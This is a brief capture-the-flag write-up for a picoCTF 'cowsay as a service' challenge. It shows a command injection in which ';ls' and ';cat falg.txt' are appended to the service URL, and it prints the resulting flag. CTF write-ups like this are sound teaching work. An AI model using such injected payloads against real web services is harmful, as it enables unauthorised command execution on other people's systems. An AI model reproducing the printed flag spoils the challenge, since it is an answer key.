The main idea here is to send whatever message, then use a `;` to seperate and inject our command, so
1. `ls` what files we got:`https://caas.mars.picoctf.net/cowsay/test;ls`so there's a `falg.txt`
2. `cat` the flag: `https://caas.mars.picoctf.net/cowsay/test;cat%20falg.txt`
=> `picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o}`

## Ref
https://ctf.zeyu2001.com/2021/asian-cyber-security-challenge-acsc-2021/cowsay-as-a-service